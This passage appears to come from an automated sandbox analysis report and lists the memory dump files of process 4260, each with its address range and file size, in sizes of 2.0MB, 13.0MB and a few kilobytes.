                                                                    • memory/4260-44-0x00007FFB38B70000-0x00007FFB38D65000-memory.dmp
                                                                      Filesize

                                                                      2.0MB

                                                                    • memory/4260-45-0x00007FFB38B70000-0x00007FFB38D65000-memory.dmp
                                                                      Filesize

                                                                      2.0MB

                                                                    • memory/4260-46-0x00007FFB38B70000-0x00007FFB38D65000-memory.dmp
                                                                      Filesize

                                                                      2.0MB

                                                                    • memory/4260-47-0x00007FFB38B70000-0x00007FFB38D65000-memory.dmp
                                                                      Filesize

                                                                      2.0MB

                                                                    • memory/4260-48-0x00007FFB38B70000-0x00007FFB38D65000-memory.dmp
                                                                      Filesize

                                                                      2.0MB

                                                                    • memory/4260-49-0x00007FFB38B70000-0x00007FFB38D65000-memory.dmp
                                                                      Filesize

                                                                      2.0MB

                                                                    • memory/4260-50-0x00007FFB38B70000-0x00007FFB38D65000-memory.dmp
                                                                      Filesize

                                                                      2.0MB

                                                                    • memory/4260-52-0x00007FFB38B70000-0x00007FFB38D65000-memory.dmp
                                                                      Filesize

                                                                      2.0MB

                                                                    • memory/4260-51-0x00007FFB38B70000-0x00007FFB38D65000-memory.dmp
                                                                      Filesize

                                                                      2.0MB

                                                                    • memory/4260-53-0x00007FFB38B70000-0x00007FFB38D65000-memory.dmp
                                                                      Filesize

                                                                      2.0MB

                                                                    • memory/4260-54-0x00007FFB38B70000-0x00007FFB38D65000-memory.dmp
                                                                      Filesize

                                                                      2.0MB

                                                                    • memory/4260-55-0x00007FFB38B70000-0x00007FFB38D65000-memory.dmp
                                                                      Filesize

                                                                      2.0MB

                                                                    • memory/4260-56-0x00007FFB38B70000-0x00007FFB38D65000-memory.dmp
                                                                      Filesize

                                                                      2.0MB

                                                                    • memory/4260-57-0x00007FFB38B70000-0x00007FFB38D65000-memory.dmp
                                                                      Filesize

                                                                      2.0MB

                                                                    • memory/4260-58-0x00007FFB38B70000-0x00007FFB38D65000-memory.dmp
                                                                      Filesize

                                                                      2.0MB

                                                                    • memory/4260-59-0x00007FFB38B70000-0x00007FFB38D65000-memory.dmp
                                                                      Filesize

                                                                      2.0MB

                                                                    • memory/4260-60-0x00007FFB38B70000-0x00007FFB38D65000-memory.dmp
                                                                      Filesize

                                                                      2.0MB

                                                                    • memory/4260-61-0x00007FFB38B70000-0x00007FFB38D65000-memory.dmp
                                                                      Filesize

                                                                      2.0MB

                                                                    • memory/4260-62-0x00007FFB38B70000-0x00007FFB38D65000-memory.dmp
                                                                      Filesize

                                                                      2.0MB

                                                                    • memory/4260-29-0x00007FFB38B70000-0x00007FFB38D65000-memory.dmp
                                                                      Filesize

                                                                      2.0MB

                                                                    • memory/4260-64-0x00007FFB38B70000-0x00007FFB38D65000-memory.dmp
                                                                      Filesize

                                                                      2.0MB

                                                                    • memory/4260-65-0x00007FFB38B70000-0x00007FFB38D65000-memory.dmp
                                                                      Filesize

                                                                      2.0MB

                                                                    • memory/4260-67-0x00007FFB38B70000-0x00007FFB38D65000-memory.dmp
                                                                      Filesize

                                                                      2.0MB

                                                                    • memory/4260-66-0x00007FFB38B70000-0x00007FFB38D65000-memory.dmp
                                                                      Filesize

                                                                      2.0MB

                                                                    • memory/4260-28-0x00007FFB38B70000-0x00007FFB38D65000-memory.dmp
                                                                      Filesize

                                                                      2.0MB

                                                                    • memory/4260-26-0x00007FF66ECC0000-0x00007FF66F9BB000-memory.dmp
                                                                      Filesize

                                                                      13.0MB

                                                                    • memory/4260-27-0x00007FFB38B70000-0x00007FFB38D65000-memory.dmp
                                                                      Filesize

                                                                      2.0MB

                                                                    • memory/4260-25-0x00007FFB38B70000-0x00007FFB38D65000-memory.dmp
                                                                      Filesize

                                                                      2.0MB

                                                                    • memory/4260-24-0x00007FFB38B70000-0x00007FFB38D65000-memory.dmp
                                                                      Filesize

                                                                      2.0MB

                                                                    • memory/4260-97-0x00007FF66ECC0000-0x00007FF66F9BB000-memory.dmp
                                                                      Filesize

                                                                      13.0MB

                                                                    • memory/4260-23-0x00007FFB38B70000-0x00007FFB38D65000-memory.dmp
                                                                      Filesize

                                                                      2.0MB

                                                                    • memory/4260-22-0x00007FFB38B70000-0x00007FFB38D65000-memory.dmp
                                                                      Filesize

                                                                      2.0MB

                                                                    • memory/4260-21-0x00007FFB38B70000-0x00007FFB38D65000-memory.dmp
                                                                      Filesize

                                                                      2.0MB

                                                                    • memory/4260-208-0x00007FFB38B70000-0x00007FFB38D65000-memory.dmp
                                                                      Filesize

                                                                      2.0MB

                                                                    • memory/4260-20-0x00007FFB38C10000-0x00007FFB38C11000-memory.dmp
                                                                      Filesize

                                                                      4KB

                                                                    • memory/4260-9-0x00007FFB38B70000-0x00007FFB38D65000-memory.dmp
                                                                      Filesize

                                                                      2.0MB

                                                                    • memory/4260-7-0x00007FF66ECC0000-0x00007FF66F9BB000-memory.dmp
                                                                      Filesize

                                                                      13.0MB

                                                                    • memory/4260-5-0x00007FF66ECC0000-0x00007FF66F9BB000-memory.dmp
                                                                      Filesize

                                                                      13.0MB

                                                                    • memory/4260-238-0x00007FFB38B70000-0x00007FFB38D65000-memory.dmp
                                                                      Filesize

                                                                      2.0MB

                                                                    • memory/4260-6-0x00007FF66ECC0000-0x00007FF66F9BB000-memory.dmp
                                                                      Filesize

                                                                      13.0MB

                                                                    • memory/4260-253-0x00007FFB38B70000-0x00007FFB38D65000-memory.dmp
                                                                      Filesize

                                                                      2.0MB

                                                                    • memory/4260-252-0x00007FF66ECC0000-0x00007FF66F9BB000-memory.dmp
                                                                      Filesize

                                                                      13.0MB

                                                                    • memory/4260-3-0x00007FF66ECC0000-0x00007FF66F9BB000-memory.dmp
                                                                      Filesize

                                                                      13.0MB

                                                                    • memory/4260-2-0x00007FF66ECC0000-0x00007FF66F9BB000-memory.dmp
                                                                      Filesize

                                                                      13.0MB

                                                                    • memory/4260-4-0x00007FF66ECC0000-0x00007FF66F9BB000-memory.dmp
                                                                      Filesize

                                                                      13.0MB

                                                                    • memory/4260-1-0x00007FFB38C10000-0x00007FFB38C12000-memory.dmp
                                                                      Filesize

                                                                      8KB

                                                                    • memory/4260-368-0x00007FFB38B70000-0x00007FFB38D65000-memory.dmp
                                                                      Filesize

                                                                      2.0MB

                                                                    • memory/4260-369-0x00007FFB38B70000-0x00007FFB38D65000-memory.dmp
                                                                      Filesize

                                                                      2.0MB

                                                                    • memory/4260-371-0x00007FFB38B70000-0x00007FFB38D65000-memory.dmp
                                                                      Filesize

                                                                      2.0MB

                                                                    • memory/4260-370-0x00007FF66ECC0000-0x00007FF66F9BB000-memory.dmp
                                                                      Filesize

                                                                      13.0MB

                                                                    • memory/4260-372-0x00007FFB38B70000-0x00007FFB38D65000-memory.dmp
                                                                      Filesize

                                                                      2.0MB

                                                                    • memory/4260-374-0x00007FFB38B70000-0x00007FFB38D65000-memory.dmp
                                                                      Filesize

                                                                      2.0MB

                                                                    • memory/4260-373-0x00007FF66ECC0000-0x00007FF66F9BB000-memory.dmp
                                                                      Filesize

                                                                      13.0MB